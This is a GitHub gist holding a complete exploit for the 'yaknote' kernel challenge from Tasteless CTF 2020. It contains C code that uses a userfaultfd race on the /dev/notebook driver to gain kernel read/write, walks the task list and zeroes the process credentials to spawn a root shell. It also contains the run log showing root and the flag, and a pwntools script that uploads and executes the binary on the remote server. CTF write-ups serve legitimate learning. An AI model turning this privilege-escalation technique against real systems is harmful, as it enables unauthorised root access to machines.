Skip to content

Instantly share code, notes, and snippets.

@d4em0n
Last active October 5, 2020 01:23
Show Gist options
  • Save d4em0n/ce00a029242a54bd32ff3fd3fde70f44 to your computer and use it in GitHub Desktop.
Save d4em0n/ce00a029242a54bd32ff3fd3fde70f44 to your computer and use it in GitHub Desktop.
Tasteless CTF 2020: yaknote exploit script
// gcc -static -o exploit2 exploit2.c -lpthread
// NOTE: compiling using uclibc to get small sized binary
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <stdlib.h>
#include <string.h>
#define PAGESIZE 4096
#define PID_OFFSET 1168
#define TASKS_OFFSET 912
#define CRED_OFFSET 1592
int hack;
int hack2;
int hack3;
int hack4;
typedef struct {
unsigned long a1;
unsigned long a2;
unsigned long a3;
} req;
int Open(const char *fname, int mode) {
int fd = open(fname, mode);
if (fd < 0) {
perror("open");
exit(-1);
}
return fd;
}
void alloc(int fd, char* buf, unsigned long size) {
req request;
request.a1 = (unsigned long)buf;
request.a2 = size;
request.a3 = 12;
int ret = ioctl(fd, 0x40086101, &request);
}
void read_data(int fd, unsigned long idx, char* buf, unsigned long size) {
req request;
request.a1 = idx;
request.a2 = (unsigned long)buf;
request.a3 = size;
int ret = ioctl(fd, 0x80087201, &request);
}
void write_data(int fd, unsigned long idx, char* buf, unsigned long size) {
req request;
request.a1 = idx;
request.a2 = (unsigned long)buf;
request.a3 = size;
int ret = ioctl(fd, 0x40086501, &request);
}
int userfaultfd(int flags)
{
return syscall(323, flags); // userfaultfd
}
void *alloc_hack(void *memory)
{
int ret = ioctl(hack, 0x40086101, memory);
return NULL;
}
int prepareUFD(void* pages, unsigned long memsize) {
int fd = 0;
if ((fd = userfaultfd(O_NONBLOCK)) == -1) {
fprintf(stderr, "++ userfaultfd failed: %m\n");
exit(-1);
}
struct uffdio_api api = { .api = UFFD_API };
if (ioctl(fd, UFFDIO_API, &api)) {
fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n");
exit(-1);
}
if (api.api != UFFD_API) {
fprintf(stderr, "++ unexepcted UFFD api version.\n");
exit(-1);
}
struct uffdio_register reg = {
.mode = UFFDIO_REGISTER_MODE_MISSING,
.range = {
.start = (long) pages,
.len = memsize
}
};
if (ioctl(fd, UFFDIO_REGISTER, &reg)) {
fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n");
exit(-1);
}
if (reg.ioctls != UFFD_API_RANGE_IOCTLS) {
fprintf(stderr, "++ unexpected UFFD ioctls.\n");
exit(-1);
}
return fd;
}
void craft_addr(unsigned long addr) {
unsigned long pay[4];
int i;
pay[0] = 0x20;
pay[1] = addr;
pay[2] = 0;
pay[3] = 0x20;
for(i=0;i<2;i++) {
write_data(hack3, i+2, &pay, 0x20);
}
}
void write64(unsigned long value, unsigned long addr) {
unsigned long buf = value;
craft_addr(addr);
write_data(hack2, 1, &buf, 8);
}
unsigned long read64(unsigned long addr) {
char buf2[0x100];
unsigned long buf;
craft_addr(addr);
read_data(hack2, 1, &buf, 8);
return buf;
}
int main(int argc, char** argv) {
int i;
char buf[0x30];
char *leak_page;
int leak_fd;
unsigned long rop_addr;
void *pages[32];
char* pay = malloc(0x1000);
char* pay2 = malloc(0x1000);
int fd, fd2;
int fds[32];
int tmp_hack;
hack = Open("/dev/notebook", O_RDWR);
alloc(hack,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x20);
alloc(hack,"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", 0x20);
alloc(hack,"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC", 0x20);
hack2 = Open("/dev/notebook", O_RDWR);
alloc(hack2, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x20);
alloc(hack2, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", 0x20);
hack3 = Open("/dev/notebook", O_RDWR);
alloc(hack3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x200);
alloc(hack3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x200);
/* start a thread that will fault... */
for(i=0;i<32;i++) {
if ((pages[i] = mmap(NULL, PAGESIZE, PROT_READ,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
fprintf(stderr, "++ mmap failed: %m\n");
return -1;
}
printf("create page%d=%p\n", i, pages[i]);
fds[i] = prepareUFD(pages[i], 0x1000);
}
pthread_t thread[32] = {};
for(i=0; i<32; i++) {
printf("creating thread%d, alloc mem=%p\n", i, pages[i]);
if (pthread_create(&thread[i], NULL, alloc_hack, pages[i])) {
fprintf(stderr, "++ pthread_create failed: %m\n");
return -1;
}
}
sleep(5);
printf("done\n");
hack4 = Open("/dev/notebook", O_RDWR);
alloc(hack4, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x20);
close(hack4);
unsigned long payy[4];
unsigned long b;
// b is hack2's private_data address+0x20. this address is we want to overwrite to get arvitrary read/write
b = strtoul(argv[1], NULL, 16);
printf("addr=%p\n", b);
payy[0] = b;
payy[1] = b;
payy[2] = b;
payy[3] = b;
write_data(hack, 32, &payy, 0x20);
for(i=0;i<2;i++) {
alloc(hack3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x20);
}
unsigned long init_task = 0xffffffff82412840;
unsigned long cur = init_task, cred;
unsigned int pid;
unsigned int this_pid = getpid();
printf("test read init_task = %p\n", read64(init_task));
printf("Press enter to get root.. ");
fflush(stdout);
getchar();
while(1) {
pid = read64(cur + PID_OFFSET)&0xffffffff;
if (pid == this_pid) {
cred = read64(cur + CRED_OFFSET);
fprintf(stderr, "Found current process(pid=%d)'s cred struct %p\n", pid, (void *)cred);
fprintf(stderr, "original uid=%d, gid=%d. now escalating to root\n", read64(cred + 4)&0xffffffff, read64(cred + 8)&0xffffffff);
write64(0x0, cred + 4);
write64(0x0, cred + 12);
write64(0x0, cred + 20);
write64(0x0, cred + 28);
fprintf(stderr, "now i am uid=%d\n", getuid());
system("/bin/sh");
break;
}
cur = read64(cur + TASKS_OFFSET) - TASKS_OFFSET;
}
}
[+] Opening connection to okboomer.tasteless.eu on port 10901: Done
solving d114201b680c3ef7 for prefix 000000
solved! 25390872
[*] touch /home/user/a.gz.b64
[*] Sending chunk 0/34
[*] Sending chunk 1/34
[*] Sending chunk 2/34
[*] Sending chunk 3/34
[*] Sending chunk 4/34
[*] Sending chunk 5/34
[*] Sending chunk 6/34
[*] Sending chunk 7/34
[*] Sending chunk 8/34
[*] Sending chunk 9/34
[*] Sending chunk 10/34
[*] Sending chunk 11/34
[*] Sending chunk 12/34
[*] Sending chunk 13/34
[*] Sending chunk 14/34
[*] Sending chunk 15/34
[*] Sending chunk 16/34
[*] Sending chunk 17/34
[*] Sending chunk 18/34
[*] Sending chunk 19/34
[*] Sending chunk 20/34
[*] Sending chunk 21/34
[*] Sending chunk 22/34
[*] Sending chunk 23/34
[*] Sending chunk 24/34
[*] Sending chunk 25/34
[*] Sending chunk 26/34
[*] Sending chunk 27/34
[*] Sending chunk 28/34
[*] Sending chunk 29/34
[*] Sending chunk 30/34
[*] Sending chunk 31/34
[*] Sending chunk 32/34
[*] Sending chunk 33/34
[*] Sending chunk 34/34
[*] cat /home/user/a.gz.b64 | base64 -d > /home/user/a.gz
[*] gzip -d /home/user/a.gz
[*] chmod +x /home/user/a
[*] Switching to interactive mode
/ $ $ ls /home/user/a
ls /home/user/a
/home/user/a
/ $ $ /home/user/a 0xffff88800ebac320
/home/user/a 0xffff88800ebac320
create page0=0x7fc9329c9000
create page1=0x7fc9329c8000
create page2=0x7fc9329c7000
create page3=0x7fc9329c6000
create page4=0x7fc9329c5000
create page5=0x7fc9329c4000
create page6=0x7fc9329c3000
create page7=0x7fc9329c2000
create page8=0x7fc9329c1000
create page9=0x7fc9329c0000
create page10=0x7fc9329bf000
create page11=0x7fc9329be000
create page12=0x7fc9329bd000
create page13=0x7fc9329bc000
create page14=0x7fc9329bb000
create page15=0x7fc9329ba000
create page16=0x7fc9329b9000
create page17=0x7fc9329b8000
create page18=0x7fc9329b7000
create page19=0x7fc9329b6000
create page20=0x7fc9329b5000
create page21=0x7fc9329b4000
create page22=0x7fc9329b3000
create page23=0x7fc9329b2000
create page24=0x7fc9329b1000
create page25=0x7fc9329b0000
create page26=0x7fc9329af000
create page27=0x7fc9329ae000
create page28=0x7fc9329ad000
create page29=0x7fc9329ac000
create page30=0x7fc9329ab000
create page31=0x7fc9329aa000
creating thread0, alloc mem=0x7fc9329c9000
creating thread1, alloc mem=0x7fc9329c8000
creating thread2, alloc mem=0x7fc9329c7000
creating thread3, alloc mem=0x7fc9329c6000
creating thread4, alloc mem=0x7fc9329c5000
creating thread5, alloc mem=0x7fc9329c4000
creating thread6, alloc mem=0x7fc9329c3000
creating thread7, alloc mem=0x7fc9329c2000
creating thread8, alloc mem=0x7fc9329c1000
creating thread9, alloc mem=0x7fc9329c0000
creating thread10, alloc mem=0x7fc9329bf000
creating thread11, alloc mem=0x7fc9329be000
creating thread12, alloc mem=0x7fc9329bd000
creating thread13, alloc mem=0x7fc9329bc000
creating thread14, alloc mem=0x7fc9329bb000
creating thread15, alloc mem=0x7fc9329ba000
creating thread16, alloc mem=0x7fc9329b9000
creating thread17, alloc mem=0x7fc9329b8000
creating thread18, alloc mem=0x7fc9329b7000
creating thread19, alloc mem=0x7fc9329b6000
creating thread20, alloc mem=0x7fc9329b5000
creating thread21, alloc mem=0x7fc9329b4000
creating thread22, alloc mem=0x7fc9329b3000
creating thread23, alloc mem=0x7fc9329b2000
creating thread24, alloc mem=0x7fc9329b1000
creating thread25, alloc mem=0x7fc9329b0000
creating thread26, alloc mem=0x7fc9329af000
creating thread27, alloc mem=0x7fc9329ae000
creating thread28, alloc mem=0x7fc9329ad000
creating thread29, alloc mem=0x7fc9329ac000
creating thread30, alloc mem=0x7fc9329ab000
creating thread31, alloc mem=0x7fc9329aa000
done
addr=0xffff88800ebac320
test read init_task = 0x4000
Press enter to get root.. $
Found current process(pid=79)'s cred struct 0xffff88800eb7b300
original uid=1000, gid=1000. now escalating to root
now i am uid=0
/bin/sh: can't access tty; job control turned off
/ # $ ls
ls
bin flag.txt linuxrc sbin yaknote.ko
dev home proc sys
etc init root usr
/ # $ cat flag.txt
cat flag.txt
tstlss{1_pw0m1se,!7_w4sN't_my_f4u1t_th15_t1m3}/ # [*] Got EOF while reading in interactive
from pwn import *
import time
from hashlib import sha1
from re import compile
from telnetlib import Telnet
from socket import socket
def proof(t, prefix):
i = 0
while True:
if sha1(str(t + str(i)).encode()).hexdigest().startswith(prefix):
return str(i)
i += 1
regex = compile(r"sha1\(([a-f0-9]+), input\) prefix = ([a-f0-9]+)...")
def solve(t):
t, prefix = regex.findall(str(t))[0]
print("solving " + t + " for prefix " + prefix)
p = proof(t, prefix)
print("solved! " + p)
return p
def send_command(cmd, print_cmd = True, print_resp = False):
if print_cmd:
log.info(cmd)
p.sendlineafter("/ $", cmd)
resp = p.recvuntil("/ $")
if print_resp:
log.info(resp)
p.unrecv("/ $")
return resp
def send_file(name):
file = read(name)
f = b64e(file)
send_command("touch /home/user/a.gz.b64")
size = 800
for i in range(len(f)//size + 1):
log.info("Sending chunk {}/{}".format(i, len(f)//size))
send_command("echo -n '{}'>>/home/user/a.gz.b64".format(f[i*size:(i+1)*size]), False)
send_command("cat /home/user/a.gz.b64 | base64 -d > /home/user/a.gz")
send_command("gzip -d /home/user/a.gz")
send_command("chmod +x /home/user/a")
def exploit():
send_file("exploit2.gz")
p.interactive()
if __name__ == "__main__":
#context.log_level = 'debug'
#p = remote("your_server", 10101)
REMOTE = 1
if REMOTE:
p = remote("okboomer.tasteless.eu", 10901)
challenge = str(p.recvuntil("\n", drop=True), 'utf-8')
ans = solve(challenge)
p.sendline(ans)
else:
p = process("./run.sh")
time.sleep(5)
exploit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment